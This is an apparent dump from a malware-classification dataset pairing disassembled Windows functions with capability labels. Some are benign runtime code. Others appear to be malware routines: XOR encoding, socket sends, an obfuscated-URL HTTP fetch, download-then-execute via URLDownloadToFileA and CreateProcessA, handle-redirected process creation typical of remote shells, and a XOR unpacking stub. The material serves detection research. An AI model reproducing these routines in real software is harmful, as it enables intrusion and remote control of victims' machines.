joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c885
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x47d300]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00416320
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00416320
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x41c8fc
cmp word [ecx], dx
je 0x41c8fc
mov eax, dword [0x476e64]
push edi
dec eax
push eax
push 0x476d50
call fcn.0041c824
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x41c96f
cmp word [eax], dx
je 0x41c96f
mov eax, dword [edi]
test eax, eax
je 0x41c920
cmp word [eax], dx
je 0x41c920
lea eax, [ebp - 0x10]
push eax
call fcn.0041c207
jmp 0x41c929
lea eax, [ebp - 0x10]
push eax
call fcn.0041c2a2
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x41c999
mov eax, dword [0x476d4c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x476a40
call fcn.0041c824
add esp, 0xc
test al, al
je 0x41c999
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x41c964
cmp word [eax], di
je 0x41c964
lea eax, [ebp - 0x10]
push eax
call fcn.0041c207
pop ecx
jmp 0x41c99b
lea eax, [ebp - 0x10]
push eax
call fcn.0041c2a2
jmp 0x41c961
mov eax, dword [edi]
test eax, eax
je 0x41c986
cmp word [eax], dx
je 0x41c986
lea eax, [ebp - 0x10]
push eax
call fcn.0041c1bc
pop ecx
jmp 0x41c999
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x41ca64
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0041c6a9
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41ca64
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x41ca64
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x41ca64
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x41c9f1
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.00415e89
test ebx, ebx
je 0x41ca5f
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.00415e89
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41ca64
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41ca64
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0042286a
add esp, 0x10
xor eax, eax
inc eax
jmp 0x41ca66
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407a14
leave
ret
Function at 0x41e418
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406e50
mov eax, dword [0x47d300]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004184bf
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41e45a
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41e5b6
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00424920
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47ea88]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0041f415
mov ecx, dword [esi*4 + 0x47ea88]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x41e5af
cmp eax, dword [ecx + edi + 0x24]
jne 0x41e5af
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e5af
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041f415
add esp, 0x14
test edx, edx
jl 0x41e5af
jg 0x41e525
test eax, eax
jb 0x41e5af
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41e5af
jl 0x41e53f
cmp dword [ebp - 0x1008], eax
ja 0x41e5af
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41e55d
test ebx, ebx
je 0x41e596
cmp ecx, edi
jae 0x41e596
mov al, byte [ecx]
cmp al, 0xd
jne 0x41e577
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41e583
cmp byte [ecx + 1], 0xa
jne 0x41e583
inc ecx
jmp 0x41e583
movzx eax, al
movsx eax, byte [eax + 0x47dad8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41e55d
cmp edx, ebx
jne 0x41e55d
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41e5b4
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00407a14
leave
ret
Function at 0x41e8ad
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47ea88]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41e8ed
cmp byte [ebx], 0xa
jne 0x41e8ed
or byte [edi + eax + 0x28], 4
jmp 0x41e8f2
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x41e9f1
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41e9d4
inc eax
cmp dl, 0xd
je 0x41e91e
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41e944
cmp eax, ecx
jae 0x41e952
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41e906
jmp 0x41e9f1
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e9cf
cmp dword [ebp - 0x10], 0
je 0x41e9cf
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x47ea88]
test byte [eax + edi + 0x28], 0x48
je 0x41e9a9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41e994
mov byte [esi], dl
jmp 0x41e9a5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47ea88]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41e9f1
cmp byte [ebp - 1], 0xa
jne 0x41e9b8
cmp esi, ebx
jne 0x41e9b8
mov byte [esi], 0xa
jmp 0x41e9f0
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041f433
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41e9f1
mov byte [esi], 0xd
jmp 0x41e9f0
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x47ea88]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41e9ee
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41e9f1
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41e9fa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x47ea88]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41ea40
cmp word [ebx], dx
jne 0x41ea40
or byte [eax + edi + 0x28], 4
jmp 0x41ea45
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x41eba8
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x41eb88
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x41ea86
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41eabc
cmp eax, edx
jae 0x41eaca
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x41ea61
jmp 0x41eba8
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41eb83
cmp dword [ebp - 0x18], 0
je 0x41eb83
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x47ea88]
test byte [eax + edi + 0x28], 0x48
je 0x41eb59
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x41eb1d
mov word [esi], cx
jmp 0x41eb54
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x47ea88]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x47ea88]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x47ea88]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x41eba8
pop eax
cmp word [ebp - 4], ax
jne 0x41eb69
cmp esi, ebx
jne 0x41eb69
mov word [esi], ax
jmp 0x41eba5
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041f433
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x41eba8
push 0xd
pop eax
jmp 0x41eb64
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x47ea88]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x41eba2
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x41eba8
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x401d99
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5d407c]
jne 0x401da3
repz ret
jmp fcn.004026dd

Function at 0x40844c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5d407c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406114
and dword [ebp - 0x14], 0
cmp dword [0x5d6e70], 0
mov dword [ebp - 0x18], eax
jne 0x4084ff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4085a7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4085a7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x5d6e70], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x5d6e74], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5d6e78], eax
call edi
push eax
call esi
mov dword [0x5d6e80], eax
test eax, eax
je 0x4084ff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5d6e7c], eax
mov eax, dword [0x5d6e7c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x408558
cmp dword [0x5d6e80], ecx
je 0x408558
push eax
call esi
push dword [0x5d6e80]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x408558
test ebx, ebx
je 0x408558
call edi
test eax, eax
je 0x40854f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40854f
test byte [ebp - 8], 1
jne 0x408558
or dword [ebp + 0x10], 0x200000
jmp 0x40858b
mov eax, dword [0x5d6e74]
cmp eax, dword [ebp - 0x18]
je 0x40858b
push eax
call esi
test eax, eax
je 0x40858b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40858b
mov eax, dword [0x5d6e78]
cmp eax, dword [ebp - 0x18]
je 0x40858b
push eax
call esi
test eax, eax
je 0x40858b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5d6e70]
call esi
test eax, eax
je 0x4085a7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4085a9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401d99
leave
ret
Function at 0x100012d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
xor esi, esi
mov bl, 1
test ebp, ebp
jle 0x10001303
push edi
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
push eax
call fcn.10001220
mov dl, byte [esi + edi]
add esp, 4
shl bl, 1
or bl, al
xor dl, bl
mov byte [esi + edi], dl
inc esi
cmp esi, ebp
jl 0x100012e4
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x10001330
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0x10001830
call sub.MSVCRT.dll__beginthread
add esp, 0xc
ret

Function at 0x10001350
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
test ebp, ebp
push edi
mov esi, ebp
jle 0x1000137e
mov ebx, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
push 0
push esi
push edi
push ebx
call sub.WS2_32.dll_send
test eax, eax
jl 0x10001385
je 0x1000138d
sub esi, eax
add edi, eax
test esi, esi
jg 0x10001366
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
mov eax, ebp
pop edi
sub eax, esi
pop esi
pop ebp
pop ebx
ret

Function at 0x10001540
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x104
or ecx, 0xffffffff
xor eax, eax
push ebx
push esi
push edi
mov edi, str.CTq0BJ__5o_o__1Xu_Ok7_LQS1sdaD_.b.eF_n_J8_:_7
repne scasb al, byte es:[edi]
not ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov edi, str.CTq0BJ__5o_o__1Xu_Ok7_LQS1sdaD_.b.eF_n_J8_:_7
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push str.CTq0BJ__5o_o__1Xu_Ok7_LQS1sdaD_.b.eF_n_J8_:_7
call fcn.100020b0
add esp, 0x10
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
test ebx, ebx
jne 0x100015a7
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
mov eax, dword [esp + 0x114]
push 0
push closesocket
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x100015da
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], eax
push ecx
push 0xff
push edx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
jne 0x1000161d
call esi
push ebx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
call esi
push ebx
call esi
mov ecx, dword [esp + 0x118]
lea eax, [esp + 0x10]
push eax
push ecx
call fcn.100013a0
add esp, 8
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x10001650
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
sub esp, 0x158
lea eax, [esp + 0x54]
push esi
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x1000181e
push ebx
push ebp
mov ebp, dword [esp + 0x16c]
push 0x2e
push ebp
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 8
test esi, esi
je 0x10001705
push 0x2f
push ebp
call sub.MSVCRT.dll_strrchr
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10001705
lea edi, [esp + 0x64]
or ecx, 0xffffffff
xor eax, eax
mov edx, 0x104
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x64]
sub edx, ecx
push edx
push 0x10004088
push eax
call sub.MSVCRT.dll_strncat
sub esi, ebx
inc ebx
push esi
lea ecx, [esp + 0x74]
push ebx
push ecx
call sub.MSVCRT.dll_strncat
mov edi, 0x10004084
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x64]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x10001792
mov edi, dword [str.i__4HaR_3]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [str.i__4HaR_3]
mov ebx, eax
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebx
push edx
call fcn.100020b0
lea edi, [esp + 0x74]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, 0x104
sub eax, ecx
lea ecx, [esp + 0x74]
push eax
push 0x10004088
push ecx
call sub.MSVCRT.dll_strncat
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x20
push 0
lea eax, [esp + 0x68]
push 0
push eax
push ebp
push 0
call sub.urlmon.dll_URLDownloadToFileA
pop ebp
pop ebx
test eax, eax
jne 0x1000181e
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x48], ax
mov dword [esp + 8], ecx
lea edx, [esp + 8]
mov dword [esp + 0xc], ecx
lea eax, [esp + 0x18]
mov dword [esp + 0x10], ecx
push edx
push eax
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x30], ecx
push ecx
lea ecx, [esp + 0x7c]
mov dword [esp + 0x38], 0x44
push ecx
push 0
mov dword [esp + 0x6c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000181e
mov edx, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0xc]
push eax
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x158
ret
pop edi
xor eax, eax
pop esi
add esp, 0x158
ret
Function at 0x10001b00
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
sub esp, 0x14
push ebx
push esi
push edi
push 0x18
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call sub.MSVCRT.dll_malloc
mov ebx, dword [sym.imp.KERNEL32.dll_CreatePipe]
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0x14]
lea edi, [esi + 4]
push eax
push ecx
mov dword [esi], 0
mov dword [edi], 0
push esi
mov dword [esp + 0x24], 0xc
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 1
call ebx
test eax, eax
je 0x10001b75
lea edx, [esp + 0x14]
push 0
push edx
lea eax, [esp + 0x14]
push edi
push eax
call ebx
test eax, eax
jne 0x10001bb5
mov eax, dword [esi]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10001b84
push eax
call ebx
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10001b8f
push eax
call ebx
mov edi, dword [edi]
test edi, edi
je 0x10001b98
push edi
call ebx
mov eax, dword [esp + 0xc]
test eax, eax
je 0x10001ba3
push eax
call ebx
push esi
call sub.MSVCRT.dll_free
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x14
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push ecx
push edx
call fcn.10001d50
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
mov dword [esi + 8], eax
mov eax, dword [esp + 0xc]
push eax
call edi
mov ecx, dword [esp + 0x10]
push ecx
call edi
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x10001d50
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x60
mov eax, dword [esp + 0x64]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x74]
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push 1
lea ecx, [esp + 0x74]
push 2
push ecx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x4c], ebx
mov word [esp + 0x6c], bx
mov dword [esp + 0x70], ebx
mov word [esp + 0x6e], bx
mov dword [esp + 0x68], 0x101
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], esi
call edi
push eax
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov edi, dword [str.YhoAKiu]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [str.YhoAKiu]
mov ebp, eax
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push ebp
push edx
call fcn.100020b0
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x14
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x2c]
push ecx
push edx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea eax, [esp + 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10001e5b
mov ecx, dword [esp + 0x20]
mov esi, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x60
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x60
ret

Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x25e7fab
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x74d322f4
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219